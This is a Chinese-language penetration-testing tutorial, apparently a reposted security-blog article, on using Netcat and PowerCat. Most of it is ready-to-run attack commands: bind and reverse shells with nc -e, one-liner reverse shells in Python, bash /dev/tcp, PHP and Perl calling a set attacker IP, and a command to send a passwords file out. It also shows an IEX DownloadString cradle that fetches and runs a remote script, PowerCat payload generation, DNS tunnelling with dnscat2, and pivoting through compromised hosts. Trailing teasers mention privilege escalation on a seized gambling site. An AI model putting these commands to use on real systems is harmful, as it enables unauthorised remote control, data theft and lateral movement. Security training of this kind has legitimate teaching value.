Netcat、PowerCat用法详解

VSole2022-07-11 06:49:16

简易使用

Banner抓取

Banner抓取是一种在开放端口上检索关于特定服务信息的技术,在渗透测试中用于漏洞的评估

执行以下命令,可以得知目标主机端口运行的服务

nc -nv  

远程连接主机

nc -nvv  

端口扫描

扫描指定端口

nc -v  

扫描指定端口段(速度较慢)

nc -v -z  -

端口监听

监听本地端口,访问时输出到命令行

nc -l -p 9999

文件传输

在本地服务器生成一个1.txt文件并监听

nc -lp 333 >1.txt

在目标主机与服务器333端口建立连接,传输一个password文件

nc -vn 192.168.200.6 333 < passwords.txt -q 1  

简易聊天

本地服务器监听

nc -l -p 9999

目标主机输入

nc -nv 192.168.200.6 9999 

获取SHELL

正向shell(客户端获取服务器shell)

控制端主动发起连接去连接被控制端。

目标主机输入命令监听目标主机9999端口

nc -lvp 9999 -e /bin/sh     //Lunix
nc -lvp 9999 -e c:\windows\system32\cmd.exe   //Windows

输入命令在本地或者服务器上连接目标主机的9999端口

nc 192.168.200.6 9999

反向shell(服务器获取客户端shell)

被控制端主动连接控制端。

输入命令在本地或者服务器上监听9999端口

nc -lvp 9999

目标主机输入命令连接服务器9999端口

nc 192.168.200.6 9999 -e /bin/sh    //Linux
nc 192.168.200.6 9999 -e c:\windows\system32\cmd.exe    //Windows

在目标主机中没有nc时获取反向shell

一般情况目标主机中是没有nc的,可以使用其他工具和编程语言代替nc,实现反向连接

Python反向Shell

在服务器监听本地9999端口

nc -lvp 9999

在目标主机执行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.6",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash反向Shell

在服务器监听本地9999端口

nc -lvp 9999

在目标主机执行如下命令

bash -c 'exec bash -i >& /dev/tcp/192.168.200.6/9999 0>&1'

PHP反向Shell

在服务器监听本地9999端口

nc -lvp 9999

PHP常用在Web服务器上,是nc,perl和Bash很好的替代品

php -r '$sock=fsockopen("192.168.200.6",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反向Shell

在服务器监听本地9999端口

nc -lvp 9999

如果此时目标主机使用的是Perl语言,仍然可以使用Perl来建立反向Shell

在目标主机运行如下命令

perl -e 'use Socket;$i="192.168.200.6";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">$S");open(STDOUT,">$S");open(STDERR,">&S");exec("/bin/sh -i");};'

内网代理

如图所示,测试环境为:攻击者服务器( Kali Linux);一个小型内网;三台服务器。假设获取了Web服务器的权限,通过 Kali Linux机器不能访问数据库服务器( Linux),但通过web服务器可以访问数据库服务器( Linux)。测试目标为:获取数据库服务器( Linux)的Shell

首先在服务器输入如下命令监听9999端口

nc -lvp 9999

接着在数据库服务器执行如下命令

nc -lvp 9999 -e /bin/sh

最后在Web服务器执行如下命令

nc -v 192.168.1.4 9999  -c "nc -v 1.1.1.200 9999"

PowerCat

PowerCat可以说是nc的PowerShell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行powercat(github.com)

导入powercat输入Import-Module .\powercat.ps1

输入“powercat -h”查看命令提示

通过nc正向连接PowerCat

在Windows server 2008服务器上执行监听命令

powercat -l -p 8080 -e cmd.exe -v

然后在kali上执行

netcat 192.168.200.6 8080 -vv

通过nc反向连接PowerCat

在kali上监听

nc -l -p 9999 -vv

在Windows server 2008执行,-c参数用于提供想要连接的IP地址

powercat -c 192.168.200.6 -p 9999 -v -e cmd.exe

通过PowerCat返回PowerShell

前面的操作都是可以与nc进行交互。但是,如果想返回PowerShell,则无法与nc进行交互。下面介绍如何让Windows7和Windows server 2008建立正向连接

在Win7执行下载命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/powercat.ps1')

再执行监听命令

powercat -l -p 9999 -v  

在Win server 2008执行如下命令 -ep用于返回PowerShell

powercat -c 192.168.1.3 -p 9999 -v -ep

通过PowerCat传输文件

在win2008新建一个test.txt文件放在c盘根目录下,在win7执行命令

powercat -l -p 9999 -of test.txt -v

回到win2008中执行命令

powercat -c 192.168.1.3 -p 9999 -i c:\test.txt -v

通过PowerCat生成Payload

用PowerCat生成的Payload也有正向和反向之分,且可以对其进行编码

在win2008执行命令生成一个简单的payload

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

将生成的ps1文件上传到win7并执行,然后在win2008上执行如下命令反弹shell

powercat -c 192.168.1.3 -p 8000 -v

如果想要反弹PowerShell,win2008执行命令

powercat -l -p 8000 -ep -v -g >> shell.ps1

将生成的ps1文件上传到win7并执行,然后在win2008上执行如下命令反弹Powershell

powercat -c 192.168.1.3 -p 8000 -v

PowerCat DNS隧道通信

PowerCat是一套基于DNS通信的协议,基于dnscat设计的

使用dnscat,依次执行

git clone https://github.com/iagox86/dnscat2 
cd dnscat2/server/

gem install bundler

bundle install

在安装了dnscat的Linux主机上运行

ruby dnscat2.rb ttpowercat.test -e open --no-cache

返回win2008执行命令

powercat -c 192.168.200.6 -p 53 -dns ttpowercat.test -e cmd.exe

将PowerCat作为跳板

测试环境为:三台主机,其中 Windows Server2008主机可以通过ping命令访问 Windows7主机和 Kali Linux主机, Kali Linux主机和 Windows7主机之间无法通过网络连接。测试目标为:将 Windows Server2008主机作为跳板,让 Kali Linux主机连接Windows7主机。

首先,在 Windows7中执行如下命令。

powercat -l -v -p 9999 -e cmd.exe

Windows Server2008中执行如下命令。

powercat -l -v -p 8000 -r tcp:192.168.1.3:9999

最后,让 Kali Linux主机与 Windows Server2008主机进行连接,Windows Server2008主机就可以将流量转发给Windows7了

nc 192.168.200.24 8000 -vv

shell端口转发
本作品采用《CC 协议》,转载必须注明作者和本文链接
反弹Shell大全与原理
2023-04-25 10:15:00
reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。对方主机在局域网内,从外网无法直接访问。对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。在渗透测试过程中,得到webshell后一般我们会反弹shell。反弹shell原理A主机开启9090端口的tcp服务
内网渗透-代理篇
2021-12-01 05:44:01
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
# 此时攻击机已经获取到了bash$ python -c 'import pty; pty.spawn'$ ctrl + z //快捷键。$ fg$ reset //这一步我实测有问题,输了会出问题,不输也没有影响,所以如果输了有问题可以不输。低权限提权首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Databas
很早就想专门写一篇关于内网的文章,一直没有腾出空来,万万没想到,写下这篇文章的时候,竟然是我来某实验室实习的时间段:)
隐藏通信隧道技术常用于在访问受限的网络环境中或不受信任的网络中实现安全的数据传输。网络层:IPV6隧道、ICMP隧道、GRE隧道传输层:TCP隧道、UDP隧道、常规端口转发应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道常规判断内网连通性的方法都有哪些?
file=2663◆测试环境:Ubuntu 18.04根据漏洞描述可得到几个关键词:远程命令执行、/lan.jsp页面、Device Name 参数、HTTP、POST、get set cpp。这里应该是一个POST请求提交数据。在文件系统中查找关键词并没有发现名为“get_set.ccp”的文件,没有“get_set.ccp”文件,这个URL应该是交给后端处理,处理好之后将结果返回给用户。在复现这个漏洞中发现2022年刚披露的信息和2023年有所不同,2022年的描述更具体,2023的变得模糊一些。刚开始以为是为了保护厂商,避免提示太明显容易被利用。
起因,由于前几天拿了一个菠菜站的webshell,但是只有iis权限,执行无法创建用户等操作,更无法对整个服务器进行控制了,于是此时便需要提权了,对于一个刚刚入门的小白来说,此刻真正意识到了提权的重要性,于是便开始学习提取相关知识,以拿下该菠菜的站点。提权前的准备工作1,通常来说,不同的脚本所处的权限是不一样的。
蓝队初级防护总结
2023-01-09 10:11:55
三. 网站被上传webshell如何处理?工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。堡垒机是针对内部运维人员的运维安全审计系统。WAFWAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。
VSole
网络安全专家